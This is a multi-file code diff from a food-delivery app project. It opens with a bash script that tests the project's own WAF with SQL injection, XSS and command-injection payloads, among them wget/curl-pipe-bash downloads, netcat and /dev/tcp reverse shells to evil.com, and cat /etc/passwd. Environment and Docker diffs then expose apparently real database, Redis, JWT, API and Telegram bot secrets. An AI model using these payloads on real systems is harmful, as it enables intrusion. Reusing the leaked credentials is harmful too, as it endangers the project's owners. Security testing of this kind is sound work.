||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
echo "$body"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP sans authentification
|
||||
http_test_no_auth() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Content-Type: application/json" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq "$expected_code" ]; then
|
||||
print_success "$description (HTTP $http_code)"
|
||||
else
|
||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
||||
print_response "$body"
|
||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
||||
echo "Response: $body" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
sleep 0.5
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Authentification
|
||||
# =============================================================================
|
||||
|
||||
authenticate() {
|
||||
print_header "AUTHENTIFICATION"
|
||||
|
||||
# ==================== CLIENT LOGIN ====================
|
||||
print_section "1. Login Client"
|
||||
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
|
||||
"${API_BASE_URL}/api/v1/auth/login")
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq 200 ]; then
|
||||
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||
if [ -n "$CLIENT_TOKEN" ]; then
|
||||
print_success "Login Client réussi - Token obtenu"
|
||||
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
|
||||
else
|
||||
print_fail "Login Client réussi mais token non trouvé"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
print_fail "Échec du login Client (HTTP $http_code)"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ==================== ADMIN LOGIN ====================
|
||||
print_section "2. Login Admin"
|
||||
response=$(curl -s -w "\n%{http_code}" -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
|
||||
"${API_BASE_URL}/api/v2/admin/auth/login")
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
if [ "$http_code" -eq 200 ]; then
|
||||
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
||||
if [ -n "$ADMIN_TOKEN" ]; then
|
||||
print_success "Login Admin réussi - Token obtenu"
|
||||
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
|
||||
else
|
||||
print_fail "Login Admin réussi mais token non trouvé"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
print_fail "Échec du login Admin (HTTP $http_code)"
|
||||
print_response "$body"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests SQL Injection
|
||||
# =============================================================================
|
||||
|
||||
test_sql_injection() {
|
||||
print_header "TESTS SQL INJECTION"
|
||||
|
||||
print_section "1. SQL Injection - Login"
|
||||
|
||||
# Test 1: SQL Injection classique dans login client
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - Login Client OR 1=1"
|
||||
|
||||
# Test 2: SQL Injection dans login admin
|
||||
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
|
||||
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - Login Admin OR 1=1"
|
||||
|
||||
# Test 3: SQL Injection avec UNION
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
|
||||
403 "SQLi - UNION SELECT"
|
||||
|
||||
# Test 4: SQL Injection avec DROP TABLE
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
|
||||
403 "SQLi - DROP TABLE"
|
||||
|
||||
# Test 5: SQL Injection avec commentaire
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\''--","password":"test"}' \
|
||||
403 "SQLi - Commentaire SQL --"
|
||||
|
||||
print_section "2. SQL Injection - Panier"
|
||||
|
||||
# Test 6: SQL Injection dans name_product
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
|
||||
403 "SQLi - Panier name_product"
|
||||
|
||||
# Test 7: SQL Injection dans category
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
|
||||
403 "SQLi - Panier category"
|
||||
|
||||
print_section "3. SQL Injection - Admin"
|
||||
|
||||
# Test 8: SQL Injection dans username pénalité
|
||||
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
|
||||
403 "SQLi - Username pénalité"
|
||||
|
||||
# Test 9: SQL Injection dans paramètres commandes
|
||||
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
|
||||
"" \
|
||||
403 "SQLi - Paramètres commandes"
|
||||
|
||||
# Test 10: SQL Injection dans ID commande
|
||||
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
|
||||
"" \
|
||||
403 "SQLi - ID commande"
|
||||
|
||||
# Test 11: SQL Injection dans username livreur
|
||||
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
|
||||
"" \
|
||||
403 "SQLi - Username livreur"
|
||||
|
||||
print_section "4. SQL Injection - Commandes Client"
|
||||
|
||||
# Test 12: SQL Injection dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
|
||||
403 "SQLi - Adresse checkout"
|
||||
|
||||
# Test 13: SQL Injection nom produit admin
|
||||
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
|
||||
403 "SQLi - Nom produit admin"
|
||||
|
||||
print_section "5. SQL Injection - Variantes avancées"
|
||||
|
||||
# Test 14: SQL Injection avec AND
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
|
||||
403 "SQLi - AND condition"
|
||||
|
||||
# Test 15: SQL Injection avec encodage hex
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
|
||||
403 "SQLi - Encodage hex"
|
||||
|
||||
# Test 16: SQL Injection avec SLEEP (Time-based)
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
|
||||
403 "SQLi - Time-based SLEEP"
|
||||
|
||||
# Test 17: SQL Injection avec BENCHMARK
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
|
||||
403 "SQLi - BENCHMARK"
|
||||
|
||||
# Test 18: SQL Injection avec sous-requête
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
|
||||
403 "SQLi - Sous-requête"
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests XSS (Cross-Site Scripting)
|
||||
# =============================================================================
|
||||
|
||||
test_xss() {
|
||||
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
|
||||
|
||||
print_section "1. XSS - Login"
|
||||
|
||||
# Test 1: XSS basique avec script tag
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||
403 "XSS - Script tag basique"
|
||||
|
||||
# Test 2: XSS avec event handler
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
|
||||
403 "XSS - Event handler onerror"
|
||||
|
||||
# Test 3: XSS avec SVG
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<svg onload=alert(1)>","password":"test"}' \
|
||||
403 "XSS - SVG onload"
|
||||
|
||||
print_section "2. XSS - Panier"
|
||||
|
||||
# Test 4: XSS dans name_product
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
|
||||
403 "XSS - Panier name_product"
|
||||
|
||||
# Test 5: XSS dans category
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
|
||||
403 "XSS - Panier category"
|
||||
|
||||
print_section "3. XSS - Admin"
|
||||
|
||||
# Test 6: XSS dans raison pénalité
|
||||
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
|
||||
400 "XSS - Raison pénalité"
|
||||
|
||||
# Test 7: XSS dans paramètres commandes
|
||||
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
|
||||
"" \
|
||||
403 "XSS - Paramètres commandes"
|
||||
|
||||
# Test 8: XSS dans description produit
|
||||
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
|
||||
403 "XSS - Description produit"
|
||||
|
||||
print_section "4. XSS - Commandes Client"
|
||||
|
||||
# Test 9: XSS dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Adresse checkout"
|
||||
|
||||
# Test 10: XSS dans commentaire approbation
|
||||
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Commentaire approbation"
|
||||
|
||||
# Test 11: XSS dans raison annulation
|
||||
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||
'{"reason":"<script>alert(1)</script>"}' \
|
||||
403 "XSS - Raison annulation"
|
||||
|
||||
print_section "5. XSS - Variantes avancées"
|
||||
|
||||
# Test 12: XSS avec iframe
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
|
||||
403 "XSS - iframe javascript"
|
||||
|
||||
# Test 13: XSS avec body onload
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<body onload=alert(1)>","password":"test"}' \
|
||||
403 "XSS - body onload"
|
||||
|
||||
# Test 14: XSS avec input autofocus
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
|
||||
403 "XSS - input autofocus"
|
||||
|
||||
# Test 15: XSS avec marquee
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
|
||||
403 "XSS - marquee onstart"
|
||||
|
||||
# Test 16: XSS avec details/summary
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
|
||||
403 "XSS - details ontoggle"
|
||||
|
||||
# Test 17: XSS avec javascript: protocol
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
|
||||
403 "XSS - javascript protocol"
|
||||
|
||||
# Test 18: XSS avec data: URI
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
|
||||
403 "XSS - data URI"
|
||||
|
||||
# Test 19: XSS encodé HTML
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||
403 "XSS - Encodage HTML entities"
|
||||
|
||||
# Test 20: XSS avec polyglotte
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
|
||||
403 "XSS - Polyglotte"
|
||||
}
|
||||
|
||||
# =============================================================================
|
||||
# Tests RCE (Remote Code Execution)
|
||||
# =============================================================================
|
||||
|
||||
test_rce() {
|
||||
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
|
||||
|
||||
print_section "1. RCE - Command Injection basique"
|
||||
|
||||
# Test 1: Command substitution avec $()
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Command substitution"
|
||||
|
||||
# Test 2: Command substitution avec backticks
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Command substitution backticks"
|
||||
|
||||
# Test 3: Pipe command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Pipe command"
|
||||
|
||||
# Test 4: Semicolon command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Semicolon chaining"
|
||||
|
||||
# Test 5: AND command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - AND chaining"
|
||||
|
||||
# Test 6: OR command chaining
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
|
||||
403 "RCE - OR chaining"
|
||||
|
||||
print_section "2. RCE - Commandes système dangereuses"
|
||||
|
||||
# Test 7: cat /etc/passwd
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - cat /etc/passwd"
|
||||
|
||||
# Test 8: ls command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - ls command"
|
||||
|
||||
# Test 9: wget command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - wget download"
|
||||
|
||||
# Test 10: curl command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - curl pipe bash"
|
||||
|
||||
# Test 11: nc (netcat) reverse shell
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - netcat reverse shell"
|
||||
|
||||
# Test 12: bash reverse shell
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - bash reverse shell"
|
||||
|
||||
print_section "3. RCE - Dans autres endpoints"
|
||||
|
||||
# Test 13: RCE dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"$(whoami)"}' \
|
||||
403 "RCE - Adresse checkout"
|
||||
|
||||
# Test 14: RCE dans login
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"$(id)","password":"test"}' \
|
||||
403 "RCE - Login username"
|
||||
|
||||
# Test 15: RCE dans commentaire
|
||||
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||
'{"rating":5,"comment":"$(uname -a)"}' \
|
||||
403 "RCE - Commentaire approbation"
|
||||
|
||||
# Test 16: RCE dans raison annulation
|
||||
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||
'{"reason":"$(pwd)"}' \
|
||||
403 "RCE - Raison annulation"
|
||||
|
||||
print_section "4. RCE - Python/Perl/Ruby injection"
|
||||
|
||||
# Test 17: Python code execution
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Python import os"
|
||||
|
||||
# Test 18: eval() injection
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - eval injection"
|
||||
|
||||
# Test 19: exec() injection
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - exec injection"
|
||||
|
||||
# Test 20: system() call
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - system call"
|
||||
}
|
||||
|
||||
main() {
|
||||
# Exécution des tests
|
||||
authenticate
|
||||
test_rce
|
||||
test_xss
|
||||
test_sql_injection
|
||||
http_test_no_auth
|
||||
}
|
||||
|
||||
main
|
||||
@@ -1,7 +1,7 @@
|
||||
DB_HOST=postgres
|
||||
DB_PORT=5432
|
||||
DB_USER=postgres
|
||||
DB_PASSWORD=Ia3JWjw3Y0HzlEXH6QH3pqEu09Fap5C420
|
||||
DB_PASSWORD=1SWDxH20rV7K2Uc2PNlwCaCxfVZEtKomF0CK9OMh
|
||||
DB_NAME=gestion_db
|
||||
DB_SSLMODE=disable
|
||||
SESSION_SECRET=GwDgqYn7Tn4x6Hs9ZjUD6HP8B7pQWK
|
||||
@@ -9,7 +9,7 @@ USER_JWT_SECRET=69F5ujM1YZ6JBh3pXczc3j0JzBuAvU
|
||||
ADMIN_JWT_SECRET=RwPxdzSzAR7HcrufA6kEXHFdIiEX87
|
||||
REDIS_HOST=redis
|
||||
REDIS_PORT=6379
|
||||
REDIS_PASSWORD=m3hQyr4BgF0Paer1H4a5iUnzXqjUji
|
||||
REDIS_PASSWORD=k6UYX9RtuXJVV1HUeefbSukMcSwjvVgRsh2qJGPh
|
||||
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
|
||||
TOMTOM_API_KEY_1=6F7HHk8GT6WGlZ22W4gfAbRiQk5lJoGV
|
||||
TELEGRAM_BOT_TOKEN=7419967935:AAEeNIzlK6DqcQTL8q63zQ-Ted5W5VOd-LI
|
||||
@@ -24,11 +24,3 @@ BACKEND_LINK_SECRET=change_me_internal_secret
|
||||
API_PORT=8080
|
||||
FRONTEND_PORT=5173
|
||||
GIN_MODE=release
|
||||
# STORAGE_DRIVER=local (defaut, stockage disque via le volume backend_uploads) ou s3 (RustFS)
|
||||
STORAGE_DRIVER=local
|
||||
# Requis uniquement si STORAGE_DRIVER=s3
|
||||
S3_REGION=us-east-1
|
||||
S3_BUCKET=
|
||||
S3_ENDPOINT=
|
||||
RUSTFS_ACCESS_KEY=
|
||||
RUSTFS_SECRET_KEY=
|
||||
@@ -13,7 +13,7 @@ BOT2_USERNAME=rezDJDFJSFUltraFast_bot
|
||||
BOT2_WEBHOOK_SECRET=591aVEu1kj3YUVCNWAOU2xGdFNCVWqElzXGi
|
||||
|
||||
# URL publique de la gateway (pour setWebhook Telegram)
|
||||
GATEWAY_URL=https://uber-demo.club
|
||||
GATEWAY_URL=https://demo-uber.club
|
||||
|
||||
# JWT
|
||||
JWT_SECRET=IxGF36s14J0ZNeQCF2Of0APc4kpNd5PlsJ
|
||||
@@ -42,7 +42,7 @@ COPY --from=builder /app/server .
|
||||
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
|
||||
|
||||
# Copier l'entrypoint
|
||||
COPY docker-pre-prod/backend/entrypoint.sh .
|
||||
COPY docker-prod/backend/entrypoint.sh .
|
||||
RUN chmod +x entrypoint.sh
|
||||
|
||||
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
|
||||
@@ -66,8 +66,8 @@ USER root
|
||||
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
|
||||
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
|
||||
|
||||
COPY docker-pre-prod/backend/nginx.conf /etc/nginx/conf.d/app.conf
|
||||
COPY docker-pre-prod/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
||||
COPY docker-prod/backend/nginx.conf /etc/nginx/conf.d/app.conf
|
||||
COPY docker-prod/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
||||
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
|
||||
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
|
||||
|
||||
@@ -141,6 +141,20 @@ server {
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
location = /webhook/nowpayement {
|
||||
limit_except POST { deny all; }
|
||||
|
||||
set $upstream_backend http://backend:8080;
|
||||
proxy_pass $upstream_backend;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
|
||||
# ---------------------------------------------------
|
||||
# Webhooks LBTelegram (/webhook/bot1, /webhook/bot2…)
|
||||
# ---------------------------------------------------
|
||||
@@ -3,7 +3,7 @@ services:
|
||||
# Backend Go
|
||||
# =========================================================
|
||||
backend:
|
||||
image: xor1234/backend-mln:pre-prod
|
||||
image: xor1234/backend-mln:latest
|
||||
container_name: gestion-backend
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
@@ -35,22 +35,15 @@ services:
|
||||
- LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot}
|
||||
- LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot}
|
||||
- BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret}
|
||||
- STORAGE_DRIVER=${STORAGE_DRIVER:-local}
|
||||
volumes:
|
||||
- backend_uploads:/app/uploads
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
|
||||
# =========================================================
|
||||
# Frontend Web (React/Vite — servi en HTTP interne)
|
||||
# =========================================================
|
||||
frontend:
|
||||
image: xor1234/frontend-mln:pre-prod
|
||||
image: xor1234/frontend-mln:latest
|
||||
container_name: gestion-frontend
|
||||
restart: unless-stopped
|
||||
networks:
|
||||
@@ -59,7 +52,7 @@ services:
|
||||
- backend
|
||||
|
||||
waf:
|
||||
image: xor1234/backend-mln:waf-pre-prod
|
||||
image: xor1234/backend-mln:waf
|
||||
container_name: gestion-waf
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
@@ -84,66 +77,6 @@ services:
|
||||
- backend
|
||||
- frontend
|
||||
|
||||
# =========================================================
|
||||
# PostgreSQL
|
||||
# =========================================================
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
container_name: gestion-postgres
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- POSTGRES_USER=${DB_USER:-postgres}
|
||||
- POSTGRES_PASSWORD=${DB_PASSWORD}
|
||||
- POSTGRES_DB=${DB_NAME:-gestion_db}
|
||||
- PGDATA=/var/lib/postgresql/data/pgdata
|
||||
volumes:
|
||||
- postgres_data:/var/lib/postgresql/data
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD-SHELL",
|
||||
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
# =========================================================
|
||||
# Redis
|
||||
# =========================================================
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
container_name: gestion-redis
|
||||
restart: unless-stopped
|
||||
command: >
|
||||
redis-server
|
||||
--requirepass ${REDIS_PASSWORD}
|
||||
--appendonly yes
|
||||
--appendfsync everysec
|
||||
--maxmemory 256mb
|
||||
--maxmemory-policy allkeys-lru
|
||||
volumes:
|
||||
- redis_data:/data
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD",
|
||||
"redis-cli",
|
||||
"--no-auth-warning",
|
||||
"-a",
|
||||
"${REDIS_PASSWORD}",
|
||||
"ping",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 3s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
# =========================================================
|
||||
# LBTelegram — Gateway Telegram load balancer
|
||||
# =========================================================
|
||||
@@ -16,7 +16,7 @@ RUN npm run build
|
||||
# =========================================================
|
||||
FROM nginx:alpine AS runtime
|
||||
|
||||
COPY docker-pre-prod/frontend/nginx.conf /etc/nginx/conf.d/default.conf
|
||||
COPY docker-prod/frontend/nginx.conf /etc/nginx/conf.d/default.conf
|
||||
|
||||
COPY --from=builder /app/dist /usr/share/nginx/html
|
||||
|
||||
@@ -2,7 +2,7 @@ import axios from "axios";
|
||||
import { getToken, getAdminToken } from "../auth/tokenStorage";
|
||||
|
||||
export const API_BASE_URL =
|
||||
process.env.EXPO_PUBLIC_API_URL ?? "https://uber-demo.club";
|
||||
process.env.EXPO_PUBLIC_API_URL ?? "https://mln-uber.club";
|
||||
|
||||
const apiClient = axios.create({
|
||||
baseURL: API_BASE_URL,
|
||||
|
||||
@@ -73,6 +73,7 @@ export default function OrderDetailScreen() {
|
||||
setCommand(cmdRes.command);
|
||||
setItems(itemsRes.items ?? []);
|
||||
|
||||
// If livreur assigned, fetch their location and calc route
|
||||
const cmd = cmdRes.command;
|
||||
if (cmd?.livreur_assign && cmd?.adresse) {
|
||||
loadLivreurRoute(cmd.livreur_assign, cmd.adresse);
|
||||
|
||||
@@ -48,6 +48,7 @@ import { useAlert } from "../../hooks/useAlert";
|
||||
|
||||
// --------------------------------------------------
|
||||
// Types
|
||||
// --------------------------------------------------
|
||||
interface UserItem {
|
||||
id: number;
|
||||
username: string;
|
||||
|
||||
@@ -75,7 +75,7 @@ interface EnrichedDelivery extends DeliveryItem {
|
||||
clientUsername?: string;
|
||||
clientNom?: string;
|
||||
clientPrenom?: string;
|
||||
items?: Array<{ produit: string; quantite: number; prix: number; unit?: string; is_reward?: boolean }>;
|
||||
items?: Array<{ produit: string; quantite: number; prix: number; unit?: string; is_reward?: boolean; promo_discount?: number }>;
|
||||
}
|
||||
|
||||
export default function DashboardScreen() {
|
||||
@@ -707,7 +707,14 @@ export default function DashboardScreen() {
|
||||
</Text>
|
||||
</View>
|
||||
)}
|
||||
{item.items.map((prod, idx) => (
|
||||
{item.items.map((prod, idx) => {
|
||||
const promoDiscount = prod.promo_discount ?? 0;
|
||||
const hasPromo = !prod.is_reward && promoDiscount > 0;
|
||||
const originalPrice = (prod.prix ?? 0) + promoDiscount;
|
||||
const promoPercent = hasPromo && originalPrice > 0
|
||||
? Math.round((promoDiscount / originalPrice) * 100)
|
||||
: 0;
|
||||
return (
|
||||
<View key={idx} style={styles.itemRow}>
|
